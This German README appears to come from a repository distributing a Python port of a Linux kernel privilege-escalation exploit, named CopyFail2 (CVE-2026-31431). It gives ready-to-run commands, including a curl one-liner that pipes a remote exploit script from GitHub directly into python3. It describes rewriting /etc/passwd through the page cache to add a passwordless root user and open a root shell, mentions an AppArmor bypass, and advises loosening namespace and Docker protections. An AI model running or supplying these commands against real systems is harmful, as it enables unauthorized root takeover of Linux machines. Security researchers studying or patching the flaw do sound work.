CopyFail2 (CVE-2026-31431) – Python-Implementierung

Python-Port des CopyFail2-Kernel-Exploits, der den xfrm-ESP-in-UDP-MSG_SPLICE_PAGES-No-COW-Fast-Path für eine unprivilegierte Linux-Lokale-Privilegieneskalation ausnutzt.

Ersetzt einen nologin/false-Eintrag in /etc/passwd durch einen passwortlosen uid-0-Benutzer und öffnet über su eine Root-Shell.

Schwachstelle

Der Kernel-Bug liegt im UDP-Splice-Pfad, der von der xfrm-ESP-in-UDP-Kapselung verwendet wird. splice() in einen UDP-Socket mit MSG_SPLICE_PAGES führt dazu, dass Seiten ohne Auslösung von Copy-on-Write in den Page-Cache des Empfängers abgebildet werden. Dadurch kann in jede Datei geschrieben werden, die sich derzeit im Page-Cache befindet, selbst wenn sie schreibgeschützt geöffnet wurde.

• Ursprüngliche C-Implementierung: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
• Upstream-Fix: netdev/net.git

Voraussetzungen

• Linux-Kernel >= 6.5 (MSG_SPLICE_PAGES-UDP-Unterstützung)
• libcrypto.so (OpenSSL)
• Python 3.8+
• CAP_NET_ADMIN oder die Fähigkeit, Benutzer-Namespaces zu erstellen

Welche Version verwenden

Dieses Repository bietet zwei Varianten. Beide liefern dasselbe Ergebnis; wählen Sie je nach Ihren Anforderungen.

Schnellstart (optimiert)

# Einzeiler per Pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Gespeicherte Datei
python3 exploit.py

# Änderungen rückgängig machen
python3 exploit.py --clean

Schnellstart (roh/Referenz)

python3 exploit_raw.py
python3 exploit_raw.py --clean

Auf Ubuntu mit aktiviertem apparmor_restrict_unprivileged_userns speichern Sie die Datei zuerst und führen sie von der Festplatte aus; der Pipe-Modus überspringt den AppArmor-Bypass-Tanz.

curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

So funktioniert es

1. Erzwingt per Brute-Force eine AES-GCM-IV, deren Keystream-Byte das ursprüngliche /etc/passwd-Byte per XOR in den gewünschten Wert umwandelt.
2. Installiert einen lokalen xfrm-ESP-in-UDP-State auf 127.0.0.1:4500.
3. Erstellt eine angreiferkontrollierte Backing-Datei mit dem gefälschten ESP-Header und ICV.
4. splice()t drei Bereiche (ESP-Header, Zielbyte aus /etc/passwd, ICV) in eine Pipe.
5. splice()t die Pipe in den UDP-Socket, was den Kernel-Bug auslöst und das Byte in den Page-Cache schreibt.
6. Wiederholt dies für jedes abweichende Byte, um eine nologin/false-Zeile mit sick::0:0:...:/:/bin/bash zu überschreiben.
7. su - sick öffnet Root (PAM nullok akzeptiert leere Passwörter).

Getestet

Fehlerbehebung

cannot acquire CAP_NET_ADMIN

Ihr Kernel hat möglicherweise kernel.unprivileged_userns_clone=0. Aktivieren Sie es:

sudo sysctl kernel.unprivileged_userns_clone=1

Wenn Sie in Docker laufen, starten Sie den Container mit --privileged oder --cap-add=SYS_ADMIN.

Danksagungen

• Hyunwoo Kim (imv4bel) und Kuan-Ting Chen – Entdeckung und Upstream-Fix
• Steffen Klassert – IPsec-Maintainer, hat den Fix veröffentlicht
• Brad Spengler / grsecurity – prägte den Begriff „copyfail-class“
• Theori / Xint – ursprünglicher Copy Fail (CVE-2026-31431)
• Ursprünglicher C-Exploit von 0xdeadbeefnetwork
• Python-Exploit von guiimoraes

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.